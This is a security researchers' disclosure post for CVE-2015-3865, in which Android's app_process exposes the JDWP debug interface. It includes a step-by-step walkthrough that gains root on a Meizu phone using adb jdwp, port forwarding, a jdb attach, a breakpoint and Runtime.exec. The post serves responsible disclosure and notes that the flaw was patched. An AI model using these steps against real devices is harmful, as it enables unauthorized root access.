Vulnerability Description

We came across a vulnerability existing in the Android runtime. This vulnerability could always unsafely expose the JDWP interface through the built-in app_process command. In particular, this vulnerability will be manifested when the app_process command is used to execute various payloads in jar or other files. We also notice that app_process is embedded in multiple other built-in AOSP commands, including am, pm, appops, bmgr, bu, content, input, svc etc. As a result, when these commands are executed, the corresponding processes will also unsafely expose the JDWP interface, which might be exploited for privilege leak or escalation.


Figure 1: JDWP is enabled by default in the AOSP

The root cause of this vulnerability is that the JDWP interface is allowed by default, unless the Zygote forbids it (see the comment in Figure 1). Normally an app is forked from the Zygote process and the Zygote process will enable or disable the JDWP interface according to the setting in the manifest file. However, there are some cases that an app (or a jar file) could be invoked through the app_process command directly. In this case, the JDWP interface will be exposed by default (and the developer may not even know about it.) If the vulnerable process has the system or higher privilege (which we do find such vulnerable processes in some popular phones from Samsung, Xiaomi, and Huawei), then an attacker could exploit this vulnerability to execute arbitrary payloads in the context of the vulnerable privileged process.

Exploiting the Vulnerability

In the following section, we will demonstrate a way of exploiting this vulnerability to get the root privilege. The phone used was Meizu m1 note with Android version 4.4.4. The Flyme version is 4.2.0.5A.

This phone has a preinstalled module called LBE to manage an app’s permissions. It loads a particular jar file using the app_process command and thus exposes the JDWP interface (accidentally). We can use the “adb jdwp” command to get the pid of the vulnerable process. It happens that this process has the root privilege.

-> adb jdwp
1475
-> adb shell ps | grep 1475
root      1475  1     853624 24512 ffffffff 00000000 S lbesec.loader

Then we use the jdb client to communicate with the vulnerable process.

-> adb forward tcp:8080 jdwp:1475
-> jdb -attach localhost:8080
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>

After that, we set a breakpoint and then execute a command to hit the breakpoint.

> stop in com.lbe.security.service.xxxx.xxxxxx.x.x(int) 
> adb shell am force-stop com.meizu.gamecenter.service
> "adb shell am start  -n com.meizu.gamecenter.service/com.meizu.gamecenter.service.TestActivity"

>Breakpoint hit: "thread=<9> Binder_1", com.lbe.security.service.xxxx.xxxxxx.x.x (), line=-1 bci=0

<9> Binder_1[1]

Now we can use the java.lang.Runtime().exec() method to execute arbitrary payloads with the root privilege.

Patch

Google has released a patch in Android 6.0 and a CTS test for this vulnerability.

Acknowledgement

The finding was mainly credited to Yajin Zhou, Lei Wu and Xuxian Jiang from Qihoo 360.

Disclosure Timeline

  • August 8, 2015: We reported the vulnerability to Google
  • August 8, 2015: Google confirmed the presence of the reported vulnerability.
  • August 13, 2015: Google rated it as a high vulnerability and assigned CVE-2015-3865 for this vulnerability
  • October 9, 2015: Google released the patch and disclosed the details of CVE-2015-3865 on Nexus Security Bulletin


Published

06 January 2016

Tags